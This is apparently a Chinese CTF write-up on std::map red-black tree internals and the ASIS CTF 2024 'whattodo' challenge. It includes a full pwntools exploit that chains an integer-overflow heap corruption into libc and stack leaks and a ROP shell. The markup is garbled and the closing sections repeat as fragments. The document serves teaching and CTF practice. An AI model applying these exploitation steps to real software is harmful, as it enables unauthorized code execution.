C++中std::map的深入解析与实战应用<\/h1>

基于ASIS CTF Quals 2024 "whattodo"题目的逆向分析<\/h2>
本文将从逆向工程角度深入分析C++ STL中的std::map实现原理，并结合CTF题目"whattodo"展示实际应用场景中的漏洞利用技术。<\/p>

一、std::map基础概念<\/h2>
std::map是C++ STL中的关联容器，存储键值对(key-value)，具有以下核心特性：<\/p>
自动排序：元素根据key严格弱排序(strict weak ordering)<\/li>
唯一键值：不允许重复key存在<\/li>
高效查找：基于红黑树实现，查找时间复杂度O(log n)<\/li> <\/ul>
1.1 map的基本操作<\/h3>
#include<\/span> <map><\/span>
<\/span><\/span><\/span>#include<\/span> <string><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>std::<\/span>map<<\/span>std::<\/span>string, int<\/span>><\/span> myMap;
<\/span><\/span>
<\/span><\/span>\/\/ 插入元素
<\/span><\/span><\/span><\/span>myMap.insert(std::<\/span>make_pair("key"<\/span>, 123<\/span>));
<\/span><\/span>myMap["key2"<\/span>] =<\/span> 456<\/span>;
<\/span><\/span>
<\/span><\/span>\/\/ 查找元素
<\/span><\/span><\/span><\/span>auto<\/span> it =<\/span> myMap.find("key"<\/span>);
<\/span><\/span>if<\/span> (it !=<\/span> myMap.end()) {
<\/span><\/span>    \/\/ 找到元素
<\/span><\/span><\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 删除元素
<\/span><\/span><\/span><\/span>myMap.erase("key"<\/span>);
<\/span><\/span><\/code><\/pre>二、std::map底层实现分析<\/h2>
2.1 红黑树结构<\/h3>
std::map底层使用红黑树(RB-Tree)实现，这是一种自平衡二叉查找树，具有以下特性：<\/p>

每个节点是红色或黑色<\/li>
根节点是黑色<\/li>
红色节点的子节点必须是黑色<\/li>
从任一节点到其每个叶子的路径包含相同数目的黑色节点<\/li>
<\/ol>
2.2 节点结构<\/h3>
enum<\/span> rb_tree_color<\/span> { kRed, kBlack };
<\/span><\/span>
<\/span><\/span>struct<\/span> rb_tree_node_base<\/span> {
<\/span><\/span>    rb_tree_color color;
<\/span><\/span>    rb_tree_node_base*<\/span> parent;
<\/span><\/span>    rb_tree_node_base*<\/span> left;
<\/span><\/span>    rb_tree_node_base*<\/span> right;
<\/span><\/span>};
<\/span><\/span>
<\/span><\/span>template<\/span><<\/span>typename<\/span> Value><\/span>
<\/span><\/span>struct<\/span> rb_tree_node<\/span> :<\/span> public<\/span> rb_tree_node_base {
<\/span><\/span>    Value value_field;  \/\/ 存储键值对
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre>2.3 map类定义关键部分<\/h3>
template<\/span><<\/span>typename<\/span> Key, typename<\/span> T><\/span>
<\/span><\/span>class<\/span> map<\/span> {
<\/span><\/span>private<\/span>:<\/span>
<\/span><\/span>    typedef<\/span> rb_tree<<\/span>Key, std::<\/span>pair<<\/span>const<\/span> Key, T>><\/span> rep_type;
<\/span><\/span>    rep_type tree;  \/\/ 红黑树实例
<\/span><\/span><\/span><\/span>    
<\/span><\/span>public<\/span>:<\/span>
<\/span><\/span>    \/\/ 迭代器相关
<\/span><\/span><\/span><\/span>    iterator begin();
<\/span><\/span>    iterator end<\/span>();
<\/span><\/span>    
<\/span><\/span>    \/\/ 容量相关
<\/span><\/span><\/span><\/span>    size_type size<\/span>() const<\/span>;
<\/span><\/span>    bool<\/span> empty<\/span>() const<\/span>;
<\/span><\/span>    
<\/span><\/span>    \/\/ 元素访问
<\/span><\/span><\/span><\/span>    T&<\/span> operator<\/span>[](const<\/span> Key&<\/span> k);
<\/span><\/span>    
<\/span><\/span>    \/\/ 修改操作
<\/span><\/span><\/span><\/span>    std::<\/span>pair<<\/span>iterator, bool<\/span>><\/span> insert(const<\/span> value_type&<\/span> x);
<\/span><\/span>    size_type erase<\/span>(const<\/span> Key&<\/span> x);
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>三、逆向分析中的map识别<\/h2>
3.1 逆向中的典型特征<\/h3>

节点结构<\/strong>：包含color、parent、left、right指针和value字段<\/li>
函数调用<\/strong>：常见_Rb_tree开头的函数调用<\/li>
迭代器操作<\/strong>：_Rb_tree_increment和_Rb_tree_decrement调用<\/li>
<\/ol>
3.2 逆向代码中的关键函数<\/h3>

_Rb_tree_insert_and_rebalance<\/code>：插入新节点并平衡树<\/li>
_Rb_tree_rebalance_for_erase<\/code>：删除节点后重新平衡<\/li>
_Rb_tree_increment<\/code>：迭代器++操作<\/li>
_M_emplace_hint_unique<\/code>：带提示的唯一插入<\/li>
<\/ol>
四、CTF题目"whattodo"漏洞分析<\/h2>
4.1 题目功能概述<\/h3>
程序实现了一个TODO列表管理功能，主要操作：<\/p>

添加TODO项（标题和长度）<\/li>
删除TODO项<\/li>
编辑TODO内容<\/li>
显示TODO内容<\/li>
<\/ol>
4.2 关键数据结构<\/h3>
struct<\/span> node<\/span> {
<\/span><\/span>    _DWORD color;           \/\/ 节点颜色
<\/span><\/span><\/span><\/span>    _QWORD parents;         \/\/ 父节点指针
<\/span><\/span><\/span><\/span>    _QWORD left_son_node;   \/\/ 左子节点
<\/span><\/span><\/span><\/span>    _QWORD right_son_node;  \/\/ 右子节点
<\/span><\/span><\/span><\/span>    struct<\/span> string<\/span> title_str_obj;  \/\/ 标题字符串对象
<\/span><\/span><\/span><\/span>    struct<\/span> pair<\/span> todo_pair;  \/\/ TODO内容指针和长度
<\/span><\/span><\/span><\/span>};
<\/span><\/span>
<\/span><\/span>struct<\/span> pair<\/span> {
<\/span><\/span>    _QWORD todo_ptr;  \/\/ 指向TODO内容的指针
<\/span><\/span><\/span><\/span>    _QWORD todo_len;  \/\/ TODO内容长度
<\/span><\/span><\/span><\/span>};
<\/span><\/span>
<\/span><\/span>struct<\/span> string<\/span> {
<\/span><\/span>    _QWORD ptr;      \/\/ 字符串指针
<\/span><\/span><\/span><\/span>    _QWORD size;     \/\/ 字符串长度
<\/span><\/span><\/span><\/span>    char<\/span> str[16<\/span>];    \/\/ 短字符串优化(SSO)缓冲区
<\/span><\/span><\/span><\/span>};
<\/span><\/span><\/code><\/pre>4.3 整数溢出漏洞<\/h3>
在todo_add<\/code>函数中存在整数溢出漏洞：<\/p>
std::<\/span>istream::<\/span>_M_extract<<\/span>unsigned<\/span> int<\/span>><\/span>(std::<\/span>cin, &<\/span>len);
<\/span><\/span>len_more1 =<\/span> (unsigned<\/span> int<\/span>)(len +<\/span> 1<\/span>);  \/\/ 当len=0xFFFFFFFF时，len_more1=0
<\/span><\/span><\/span><\/span>todo_node_chunk =<\/span> (void<\/span>*<\/span>)operator<\/span> new<\/span>[](len_more1);
<\/span><\/span>if<\/span> (len_more1)
<\/span><\/span>    memset(todo_node_chunk, 0<\/span>, len_more1);  \/\/ 由于len_more1=0，不会执行memset
<\/span><\/span><\/span><\/code><\/pre>利用方法：<\/p>

输入长度-1（会被转换为unsigned int 0xFFFFFFFF）<\/li>
len+1导致整数溢出，实际分配0字节<\/li>
后续操作可导致堆溢出<\/li>
<\/ol>
4.4 漏洞利用链<\/h3>

利用整数溢出创建异常大小的TODO项<\/li>
通过堆布局控制红黑树节点结构<\/li>
修改节点指针实现任意地址读写<\/li>
泄露libc和堆地址<\/li>
构造ROP链实现代码执行<\/li>
<\/ol>
五、漏洞利用实战<\/h2>
5.1 利用步骤详解<\/h3>


触发整数溢出<\/strong>：<\/p>
new(str(1<\/span>), str(-<\/span>1<\/span>))  # 长度-1触发整数溢出<\/span>
<\/span><\/span><\/code><\/pre><\/li>

堆布局控制<\/strong>：<\/p>
remove(str(1<\/span>))
<\/span><\/span>new(str(1<\/span>), str(-<\/span>1<\/span>))  # 重新分配控制节点<\/span>
<\/span><\/span><\/code><\/pre><\/li>

泄露堆地址<\/strong>：<\/p>
show(str(1<\/span>))
<\/span><\/span>heap =<\/span> u64(p.<\/span>recvuntil(b<\/span>"<\/span>\n<\/span>"<\/span>, drop=<\/span>True<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>)) <<<\/span> 12<\/span>
<\/span><\/span><\/code><\/pre><\/li>

泄露libc地址<\/strong>：<\/p>
payload =<\/span> b<\/span>"1"<\/span>*<\/span>0x10<\/span> +<\/span> b<\/span>"<\/span>\x00<\/span>"<\/span>*<\/span>8<\/span> +<\/span> p64(0x461<\/span>)
<\/span><\/span>edit(str(1<\/span>), payload)
<\/span><\/span>remove(str(1<\/span>))
<\/span><\/span>new(str(1<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>show(str(2<\/span>))
<\/span><\/span>libc =<\/span> u64(p.<\/span>recvuntil(b<\/span>"<\/span>\n<\/span>"<\/span>, drop=<\/span>True<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>)) -<\/span> 0x203b20<\/span>
<\/span><\/span><\/code><\/pre><\/li>

构造ROP链<\/strong>：<\/p>
bin_sh =<\/span> libc +<\/span> 0x1cb42f<\/span>
<\/span><\/span>sys =<\/span> libc +<\/span> 0x58740<\/span>
<\/span><\/span>ret =<\/span> libc +<\/span> 0x000000000002882f<\/span>
<\/span><\/span>pop_rdi =<\/span> libc +<\/span> 0x000000000010f75b<\/span>
<\/span><\/span>rop =<\/span> p64(0<\/span>) +<\/span> p64(ret) +<\/span> p64(pop_rdi) +<\/span> p64(bin_sh) +<\/span> p64(sys)
<\/span><\/span>edit(str(2<\/span>), rop)
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
5.2 完整利用代码<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>import<\/span> random
<\/span><\/span>
<\/span><\/span>context(os=<\/span>"linux"<\/span>, arch=<\/span>"amd64"<\/span>, log_level=<\/span>"debug"<\/span>)
<\/span><\/span>
<\/span><\/span>def<\/span> new<\/span>(title, length):
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"> "<\/span>, str(1<\/span>))
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"Title: "<\/span>, title)
<\/span><\/span>    result =<\/span> p.<\/span>recvuntil(b<\/span>"1. New todo"<\/span>, timeout=<\/span>0.5<\/span>)
<\/span><\/span>    if<\/span> b<\/span>"Already exists"<\/span> in<\/span> result:
<\/span><\/span>        return<\/span>
<\/span><\/span>    p.<\/span>sendline(length)
<\/span><\/span>
<\/span><\/span>def<\/span> remove<\/span>(title):
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"> "<\/span>, str(2<\/span>))
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"Title: "<\/span>, title)
<\/span><\/span>
<\/span><\/span>def<\/span> edit<\/span>(title, content):
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"> "<\/span>, str(3<\/span>))
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"Title: "<\/span>, title)
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"TODO: "<\/span>, content)
<\/span><\/span>
<\/span><\/span>def<\/span> show<\/span>(title):
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"> "<\/span>, str(4<\/span>))
<\/span><\/span>    p.<\/span>sendlineafter(b<\/span>"Title: "<\/span>, title)
<\/span><\/span>
<\/span><\/span>p =<\/span> process(".\/chall"<\/span>)
<\/span><\/span>gdb.<\/span>attach(p)
<\/span><\/span>pause()
<\/span><\/span>
<\/span><\/span># 触发整数溢出<\/span>
<\/span><\/span>new(str(1<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>remove(str(1<\/span>))
<\/span><\/span>new(str(1<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>
<\/span><\/span># 泄露堆地址<\/span>
<\/span><\/span>show(str(1<\/span>))
<\/span><\/span>p.<\/span>recvuntil(b<\/span>"TODO: "<\/span>)
<\/span><\/span>heap =<\/span> u64(p.<\/span>recvuntil(b<\/span>"<\/span>\n<\/span>"<\/span>, drop=<\/span>True<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>)) <<<\/span> 12<\/span>
<\/span><\/span>print("heap leak "<\/span> +<\/span> hex(heap))
<\/span><\/span>
<\/span><\/span># 堆布局<\/span>
<\/span><\/span>new(str(2<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(3<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(4<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(5<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(6<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(7<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(8<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(9<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(10<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>new(str(11<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>
<\/span><\/span># 修改节点结构泄露libc<\/span>
<\/span><\/span>payload =<\/span> b<\/span>"1"<\/span>*<\/span>0x10<\/span> +<\/span> b<\/span>"<\/span>\x00<\/span>"<\/span>*<\/span>8<\/span> +<\/span> p64(0x461<\/span>)
<\/span><\/span>edit(str(1<\/span>), payload)
<\/span><\/span>remove(str(1<\/span>))
<\/span><\/span>new(str(1<\/span>), str(-<\/span>1<\/span>))
<\/span><\/span>show(str(2<\/span>))
<\/span><\/span>p.<\/span>recvuntil(b<\/span>"TODO: "<\/span>)
<\/span><\/span>libc =<\/span> u64(p.<\/span>recvuntil(b<\/span>"<\/span>\n<\/span>"<\/span>, drop=<\/span>True<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>)) -<\/span> 0x203b20<\/span>
<\/span><\/span>print("libc leak "<\/span> +<\/span> hex(libc))
<\/span><\/span>
<\/span><\/span># 泄露栈地址<\/span>
<\/span><\/span>payload =<\/span> b<\/span>"1"<\/span>*<\/span>0x10<\/span> +<\/span> b<\/span>"<\/span>\x00<\/span>"<\/span>*<\/span>8<\/span> +<\/span> p64(0x61<\/span>) +<\/span> p64(0<\/span>) +<\/span> p64(heap+<\/span>0x750<\/span>) +<\/span> p64(0<\/span>) +<\/span> p64(0<\/span>) +<\/span> p64(heap+<\/span>0x300<\/span>) +<\/span> p64(1<\/span>) +<\/span> p64(0x31<\/span>) +<\/span> p64(0<\/span>) +<\/span> p64(libc+<\/span>0x20ad58<\/span>) +<\/span> p64(0x100<\/span>)
<\/span><\/span>edit(str(1<\/span>), payload)
<\/span><\/span>show(str(1<\/span>))
<\/span><\/span>p.<\/span>recvuntil(b<\/span>"TODO: "<\/span>)
<\/span><\/span>stack =<\/span> u64(p.<\/span>recvuntil(b<\/span>"<\/span>\n<\/span>"<\/span>, drop=<\/span>True<\/span>).<\/span>ljust(8<\/span>, b<\/span>"<\/span>\x00<\/span>"<\/span>))
<\/span><\/span>print("stack leak "<\/span> +<\/span> hex(stack))
<\/span><\/span>
<\/span><\/span># 构造ROP链<\/span>
<\/span><\/span>payload =<\/span> b<\/span>"1"<\/span>*<\/span>0x10<\/span> +<\/span> b<\/span>"<\/span>\x00<\/span>"<\/span>*<\/span>8<\/span> +<\/span> p64(0x61<\/span>) +<\/span> p64(0<\/span>) +<\/span> p64(heap+<\/span>0x450<\/span>) +<\/span> p64(heap+<\/span>0x750<\/span>) +<\/span> p64(heap+<\/span>0x3d0<\/span>) +<\/span> p64(heap+<\/span>0x380<\/span>) +<\/span> p64(1<\/span>) +<\/span> p64(0x32<\/span>) +<\/span> p64(0<\/span>) +<\/span> p64(stack-<\/span>0x148<\/span>) +<\/span> p64(0x100<\/span>)
<\/span><\/span>edit(str(2<\/span>), payload)
<\/span><\/span>pause()
<\/span><\/span>
<\/span><\/span>bin_sh =<\/span> libc +<\/span> 0x1cb42f<\/span>
<\/span><\/span>sys =<\/span> libc +<\/span> 0x58740<\/span>
<\/span><\/span>ret =<\/span> libc +<\/span> 0x000000000002882f<\/span>
<\/span><\/span>pop_rdi =<\/span> libc +<\/span> 0x000000000010f75b<\/span>
<\/span><\/span>rop =<\/span> p64(0<\/span>) +<\/span> p64(ret) +<\/span> p64(pop_rdi) +<\/span> p64(bin_sh) +<\/span> p64(sys)
<\/span><\/span>edit(str(2<\/span>), rop)
<\/span><\/span>
<\/span><\/span>p.<\/span>interactive()
<\/span><\/span><\/code><\/pre>六、防御措施<\/h2>

输入验证<\/strong>：对所有用户输入进行严格验证，特别是数值类型<\/li>
安全整数操作<\/strong>：使用安全整数库处理算术运算<\/li>
内存保护<\/strong>：启用ASLR、DEP等保护机制<\/li>
使用现代C++特性<\/strong>：如std::string_view替代原始字符串操作<\/li>
静态分析<\/strong>：使用静态分析工具检测潜在整数溢出<\/li>
<\/ol>
七、总结<\/h2>
通过分析"whattodo"题目，我们深入理解了：<\/p>

std::map的底层红黑树实现结构<\/li>
逆向工程中识别STL容器的方法<\/li>
整数溢出漏洞的利用技巧<\/li>
通过控制数据结构实现任意地址读写<\/li>
在复杂数据结构中构造利用链的方法<\/li>
<\/ol>
这种类型的漏洞在现实中的CTF比赛和实际应用中都很常见，理解其原理和利用方法对于二进制安全研究至关重要。<\/p>
C++中std::map的深入解析与实战应用<\/h1>

基于ASIS CTF Quals 2024 "whattodo"题目的逆向分析<\/h2> 本文将从逆向工程角度深入分析C++ STL中的std::map实现原理，并结合CTF题目"whattodo"展示实际应用场景中的漏洞利用技术。<\/p>

二、std::map底层实现分析<\/h2>

三、逆向分析中的map识别<\/h2>

四、CTF题目"whattodo"漏洞分析<\/h2>

五、漏洞利用实战<\/h2>

基于ASIS CTF Quals 2024 "whattodo"题目的逆向分析<\/h2>
本文将从逆向工程角度深入分析C++ STL中的std::map实现原理，并结合CTF题目"whattodo"展示实际应用场景中的漏洞利用技术。<\/p>
